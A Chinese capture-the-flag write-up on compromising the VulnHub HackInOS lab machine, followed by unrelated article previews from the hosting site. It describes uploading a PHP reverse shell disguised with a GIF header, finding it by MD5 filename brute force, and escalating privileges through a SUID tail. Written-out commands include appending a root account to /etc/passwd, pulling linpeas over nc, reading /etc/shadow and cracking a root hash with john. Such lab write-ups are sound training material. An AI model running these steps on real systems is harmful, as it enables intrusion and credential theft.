实战打靶集锦-025-HackInOS

文章目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
  • 5. 提权
    • 5.1 枚举系统信息
    • 5.2 探索一下passwd
    • 5.3 枚举可执行文件
    • 5.4 查看capabilities位
    • 5.5 目录探索
    • 5.6 枚举定时任务
    • 5.7 Linpeas提权


靶机地址:https://download.vulnhub.com/hackinos/HackInOS.ova

1. 主机发现

目前只知道目标靶机在192.168.232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定目标靶机IP为192.168.232.145。

2. 端口扫描

通过下面的命令进行端口扫描。

$ sudo nmap -p 1-65535 192.168.232.145

在这里插入图片描述
暴露的端口不多,看来只能先从8000端口下手了。

3. 服务枚举

通过下面的命令进行服务枚举。

$ sudo nmap -p22,8000 -A -sT -sV 192.168.232.145

在这里插入图片描述

4. 服务探查

先通过浏览器访问一下8000端口看一下。
在这里插入图片描述
貌似是一个基于WoePress的Blog站点,不过比较有意思的是,所有的超链接都指向了localhost,就算我在kali上将localhost指向了靶机,还是无法访问,但是手工在浏览器里面将localhost修改成靶机IP地址就可以访问。就算修改了/etc/hosts也不会生效,不过手工ping这个localhost是可以跳转到我们的靶机地址的。
在这里插入图片描述
先用wpscan扫描一下再说吧。

$ wpscan --url http://192.168.232.145:8000/

在这里插入图片描述
扫出了一点东西,但是感觉价值没有那么高,先看看对应的robots文件。
在这里插入图片描述
进去看看。
在这里插入图片描述
upload.php页面可以上传突破文件,不过uploads目录不允许访问,估计是做了限制,不过这里应该是显示上传的文件的列表,试了一下确实可以上传成功,不过这里看不到。枚举一下目录吧。

$ dirsearch -u http://192.168.232.145:8000/

在这里插入图片描述
没有太特殊的内容发现,再用dirb挂载big字典看看。

$ dirb http://192.168.232.145:8000/ /usr/share/wordlists/dirb/big.txt -X .php

在这里插入图片描述
跟之前的扫描没啥区别,唯一多出来的一个/wp-trackback.php,里面也没有什么特殊内容,如下图。
在这里插入图片描述
果断放弃了,还是看看apache和wordpress有没有可用的EXP吧,遗憾的是也没有找到合适的。
回顾前面的操作,貌似大概率可能突破边界的地方还是上传文件的地方,回过头去再看看。
在这里插入图片描述
这个页面实在是简单的不能再简单了,上传一个图片文件和php脚本分别看看有啥反应。
在这里插入图片描述
没有太多的规律性,现在的关键是找到上传的内容去了哪里,先看看Submit按钮的源代码吧。
在这里插入图片描述
也没啥特殊的,不过最后的注释行里面有个git上的项目,看看这里面是否有我们需要的内容。
在这里插入图片描述
尤其是第二个,感觉就是这个靶机的一个打靶线索啊,竟然有这种好事,简直是救命稻草,进去看看。
在这里插入图片描述
这不是打靶的线索,是对于这个靶机的描述,还是看看README.md和upload.php两个文件吧。
在这里插入图片描述
果真是文件上传的逻辑,大致是在元文件名后面添加1~100的随机数,然后再计算MD5作为新文件名,文件上传到/uploads/目录下;如果上传的是图片文件(mime类型为image/png或者image/gif),返回“file uploaded xxx”如果是其它文件,返回“😃”,看来我们之前显示的“😃”都是因为上传失败了。
知道了这个大致逻辑,我们就可以尝试枚举我们上传后的文件的文件名了。思路如下:
先构建一个带有反弹shell的php文件,文件头添加GIF8以绕过文件类型检查,如下图。
在这里插入图片描述
然后这个文件名后面添加1~100的数字并计算出MD5作为新的文件名,将这些文件名写到一个文件里面作为字典,然后用dirb进行爆破,应该是可以爆破出上传文件的文件名。
我们的php文件如上图所示,然后分别将对应的文件名加上1~100,即revers1、revers2、revers3、revers4 …,然后将文件名计算MD5后放到文本文件中作为字典(用python脚本生成)。
在这里插入图片描述
生成的字典如上图所示,用于生成字典的脚本如下图所示。
在这里插入图片描述
接下来我们开始上传带有反弹shell的php脚本revers.php。
在这里插入图片描述
根据代码中的逻辑,上图所示的信息显示时,代表上传成功了,然后我们用dirb挂上前面产生的字典枚举一下看看。

$ dirb http://192.168.232.145:8000/uploads/ my_dict.txt

在这里插入图片描述
好奇怪,我上传了N次,不应该枚举出来是空的。不知道是不是我本地的revers.php文件和python脚本、my_dict.txt字典不在同一个目录的原因,将revers.php文件拷贝到跟my_dict.txt同一个目录下再试一遍,顺利被枚举出来了,如下图。
在这里插入图片描述
接下来,在kali上的4444端口上建立监听,然后手工访问一下上面的文件试试看。
在这里插入图片描述
访问不成功,反弹shell也没有建立,前面枚举出来的两个文件都是这样的问题。再回过头来看看刚才枚举出来的文件还在不在。
在这里插入图片描述
空了,可能服务器后台有对上传的文件进行定时清理的机制,在我磨蹭的过程中被清理掉了。这次先建立好监听,然后快速上传,枚举出来以后直接访问一下。
在这里插入图片描述
嗯,这次建立反弹shell成功了,不过浏览器访问上传的文件的时候,还是提示not found。

5. 提权

先优化一下shell。

$ whereis python
$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
这次看上去稍微正常一点了。

5.1 枚举系统信息

$ uname -a
$ cat /etc/*-release

在这里插入图片描述
是64位的Ubuntu 16.04.1。

5.2 探索一下passwd

$ cat /etc/passwd | grep -v nologin

在这里插入图片描述
从显示结果来看,除了root没有比较正常的用户可以通过shell登录。尝试写入一个用户。

$ openssl passwd test123

在这里插入图片描述

$ echo "testusr:$1$PR0EMvBa$Y6BsWQAQVRKB3ZfEnS1Ow0:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
没有权限。

5.3 枚举可执行文件

www-data@1afdd1f6b82c:/$ sudo -l

在这里插入图片描述
无法执行sudo。

www-data@1afdd1f6b82c:/home$ find / -user root -perm -4000 2>/dev/null

在这里插入图片描述
貌似没有可以用于提权的可执行文件。

5.4 查看capabilities位

www-data@1afdd1f6b82c:/home$ /usr/sbin/getcap -r / 2>/dev/null

在这里插入图片描述
没有合适的capabilities。

5.5 目录探索

先查看一下当前用户的家目录下都有些啥。

www-data@1afdd1f6b82c:/home$ cd ~/
www-data@1afdd1f6b82c:/home$ ls -lah

在这里插入图片描述
就是我们前面目录枚举是看到的内容,那个神奇的uploads目录也赫然在列,也没啥特殊的,还得用linpeas搞一下。

5.6 枚举定时任务

www-data@1afdd1f6b82c:/tmp$ cat /etc/crontab

在这里插入图片描述

5.7 Linpeas提权

在这里插入图片描述
嗯,靶机上竟然不能使用wget,看看有没有nc。
在这里插入图片描述
nc是可以的,通过nc上传linpeas.sh。
Kali主机:$ nc -lvnp 9999 < linpeas.sh
靶机上:$ nc 192.168.232.129 9999 > linpeas.sh
顺利传输成功。
在这里插入图片描述
运行一下。

www-data@1afdd1f6b82c:/home$ chmod u+x linpeas.sh
www-data@1afdd1f6b82c:/home$ sh linpeas.sh

可惜没看到有合适的提权提示,只有一个/usr/bin/tail(其实前面我们枚举可执行文件的时候就枚举出来了,不过不会用。。),如下图。
在这里插入图片描述
网上搜了半天,只找到了一篇文章,还不太会用。但是大致意思是通过具备SUID的命令可以临时获得对应文件的属主的权限?我们参照这篇文章(https://juggernaut-sec.com/suid-sgid-lpe/),用/etc/passwd文件试试看。
在这里插入图片描述
貌似没有我们想想的那么简单。不过按照上面的说法,我们是不是可以用tail想看啥文件就看啥文件?我们试试分别用cat和tail获取一下shadow文件的内容试试看。

www-data@1afdd1f6b82c:/tmp$ cat /etc/shadow
www-data@1afdd1f6b82c:/tmp$ /usr/bin/tail -c1G /etc/shadow

在这里插入图片描述
确实如上面的猜测,cat看不到shadow文件的内容,tail是可以的,并且在shadow中捞到了root用户的密码信息: 6 说明算法用的是 S H A − 512 ,中间的 6说明算法用的是SHA-512,中间的 6说明算法用的是SHA512,中间的qoj6/JJi是盐值,再往后才是密文。
手工看看能不能从中解析出真正的密码。

在这里插入图片描述
使用hash-identifier没有收获,再用john试试看。

$ echo '$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/' > root_pass.txt
$ john root_pass.txt

在这里插入图片描述
难道这个john就算是root的密码了?直接切换到root用户试试看吧。
在这里插入图片描述
还真是这样子,第一次从shadow文件中解析密码,又学了一招,获取一下flag。
在这里插入图片描述
提权成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/400840.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【PyTorch][chapter 17][李宏毅深度学习]【无监督学习][ Auto-encoder]

前言&#xff1a; 本篇重点介绍AE&#xff08;Auto-Encoder&#xff09; 自编码器。这是深度学习的一个核心模型. 自编码网络是一种基于无监督学习方法的生成类模型,自编码最大特征输出等于输入 Yann LeCun&Bengio, Hinton 对无监督学习的看法. 目录&#xff1a; AE 模型原…

华为笔记本原厂系统镜像恢复安装教程方法

1.安装方法有两种&#xff0c;一种是用PE安装&#xff0c;一种是华为工厂包安装&#xff08;安装完成自带F10智能还原&#xff09; 若没有原装系统文件&#xff0c;请在这里远程恢复安装&#xff1a;https://pan.baidu.com/s/166gtt2okmMmuPUL1Fo3Gpg?pwdm64f 提取码:m64f …

跳表是一种什么样的数据结构

跳表是有序集合的底层数据结构&#xff0c;它其实是链表的一种进化体。正常链表是一个接着一个用指针连起来的&#xff0c;但这样查找效率低只有O(n)&#xff0c;为了解决这个问题&#xff0c;提出了跳表&#xff0c;实际上就是增加了高级索引。朴素的跳表指针是单向的并且元素…

关于Linux中使用退格键出现^H的问题解决

关于Linux中使用退格键出现^H的问题解决 今天在Linux下执行脚本和监听端口的输入时候&#xff0c;不小心输错内容想要删除用退格键发现变成了^H&#xff0c;从网上查了资料并且实际应用了一下&#xff08;我的虚拟机是CentOS7&#xff09;。 使用ctrl退格键即可成功删除内容 …

mysql 锁详解

目录 前言 一、全局锁 二、表级锁 三、行锁 前言 为什么要设计锁&#xff0c;锁设计初衷是为了解决多线程下并发问题。出现并发的时候用锁进行数据同步&#xff0c;避免因并发造成了数据错误(数据覆盖)。可见锁的重要性&#xff0c;并不是所有的数据库都有锁。比如Redis&a…

CSB ---> (XXE)XML基础

本来今天想更一下CSbeacon上线多层的内网机器的&#xff0c;但是刚好今天是年后的第一节课&#xff0c;讲的是XXE的基础&#xff0c;那就来先盘一下基础&#xff01;&#xff01; 1.XXE XXE全称是XML External Entity即xml外部实体注入攻击&#xff01;其后果会导致用户…

【深入理解设计模式】 工厂设计模式

工厂设计模式 工厂设计模式是一种创建型设计模式&#xff0c;它提供了一种在不指定具体类的情况下创建对象的接口。在工厂设计模式中&#xff0c;我们定义一个创建对象的接口&#xff0c;让子类决定实例化哪一个类。工厂方法使一个类的实例化延迟到其子类。 工厂设计模式的目…

锗化硅(SiGe)和硅(Si)之间的各向同性和选择性蚀刻机制

引言 目前&#xff0c;硅的电气和热性能在微电子技术领域中应用广泛。锗化硅&#xff08;SiGe&#xff09;合金的使用频率越来越高&#xff0c;在互补金属氧化物半导体技术中&#xff0c;英思特通过使用SON结构以及进行各向同性刻蚀&#xff0c;将该工艺扩展到对Si进行Si选择性…

angular-引用本地json文件

angular-引用json文件&#xff0c;本地模拟数据时使用 在assets目录下存放json文件 大佬们的说法是&#xff1a;angular配置限定了资源文件的所在地&#xff08;就是assets的路径&#xff09;&#xff0c;放在其他文件夹中&#xff0c;angular在编译过程中会忽略&#xff0c;会…

Spring Security学习(六)——配置多个Provider(存在两种认证规则)

前言 《Spring Security学习&#xff08;五&#xff09;——账号密码的存取》一文已经能满足一般应用的情况。但实际商业应用也会存在如下的情况&#xff1a;用户提交的账号密码&#xff0c;能在本地的保存的账号密码匹配上&#xff0c;或者能在远端服务认证中匹配上&#xff…

ubuntu22.04@Jetson Orin Nano之CSI IMX219安装

ubuntu22.04Jetson Orin Nano之CSI IMX219安装 1. 源由2. 安装2.1 硬件安装2.2 软件配置2.3 新增摄像头 3. 效果4. 参考资料 1. 源由 折腾半天时间&#xff0c;捣鼓这个套装摄像头(IMX219)的安装&#xff0c;死活就是没有这个设备。世界总是这么小&#xff0c;看看遇到问题的大…

SpringCloud-Gateway网关的使用

本文介绍如何再 SpringCloud 项目中引入 Gateway 网关并完成网关服务的调用。Gateway 网关是一个在微服务架构中起到入口和路由控制的关键组件。它负责处理客户端请求&#xff0c;进行路由决策&#xff0c;并将请求转发到相应的微服务。Gateway 网关还可以实现负载均衡、安全认…

代码随想录Leetcode 343. 整数拆分

题目&#xff1a; 代码(首刷看解析 2024年2月21日&#xff09;&#xff1a; dp[i]表示i所能拆分的最大乘积&#xff0c;则dp[i] 与dp[i - 1]的递推公式是&#xff1a; max( 1~n * dp[n ~ 1]) class Solution { public:int integerBreak(int n) {vector<int> dp(n 1);dp…

[ai笔记11] 论ai韭菜的自我修养

欢迎来到文思源想的ai空间&#xff0c;这是技术老兵学习ai以及观点分享的第11篇内容&#xff01; 上班之后时间确实少了许多&#xff0c;但是最近也没闲着&#xff0c;关于ai的学习一直在探索两个部分&#xff0c;一个是看那本有名的书《这就是ChatGPT》&#xff0c;另外一个则…

YOLOv5代码解读[02] models/yolov5l.yaml文件解析

文章目录 YOLOv5代码解读[02] models/yolov5l.yaml文件解析yolov5l.yaml文件检测头1--->耦合头检测头2--->解耦头检测头3--->ASFF检测头Model类解析parse_model函数 YOLOv5代码解读[02] models/yolov5l.yaml文件解析 yolov5l.yaml文件 # YOLOv5 &#x1f680; by Ult…

PotPlayer+Alist挂载并播放网盘视频

文章目录 说明技术WebDAVPotPlayer 操作步骤一&#xff1a;Alist开启WebDAV代理二&#xff1a;PotPlayer连接Alist 说明 Alist网页端播放视频受限&#xff0c;主要是文件大于20MB&#xff0c;由于官方限制&#xff0c;无法播放需要使用user-agent修改插件&#xff0c;设置百度…

2024.2.21 C++QT 作业

思维导图 练习题 1>使用手动连接&#xff0c;将登录框中的取消按钮使用qt4版本的连接到自定义的槽函数中&#xff0c;在自定义的槽函数中调用关闭函数&#xff0c;将登录按钮使用qt5版本的连接到自定义的槽函数中&#xff0c;在槽函数中判断ui界面上输入的账号是否为"…

电路设计(25)——4位数字频率计的multism仿真及PCB设计

1.设计要求 使用4位数码管&#xff0c;显示输入信号的频率。完成功能仿真后&#xff0c;用AD软件&#xff0c;画出原理图以及PCB。 2.电路设计 输入信号的参数为&#xff1a; 可见&#xff0c;输入为168HZ&#xff0c;测量值为170HZ&#xff0c;误差在可接受的范围内。 3.PCB设…

利用LaTex批量将eps转pdf、png转eps、eps转png、eps转svg

1、eps转pdf 直接使用epstopdf命令&#xff08;texlive、mitex自带&#xff09;。 在cmd中进入到eps矢量图片的目录&#xff0c;使用下面的命令&#xff1a; for %f in (*.eps) do epstopdf "%f" 下面是plt保存eps代码&#xff1a; import matplotlib.pyplot as…

【PX4学习笔记】13.飞行安全与炸机处理

目录 文章目录 目录使用QGC地面站的安全设置、安全绳安全参数在具体参数中的体现安全绳 无人机炸机处理A&#xff1a;无人机异常时控操作B&#xff1a;无人机炸机现场处理C&#xff1a;无人机炸机后期维护和数据处理D&#xff1a;无人机再次正常飞行测试 无人机飞行法律宣传 使…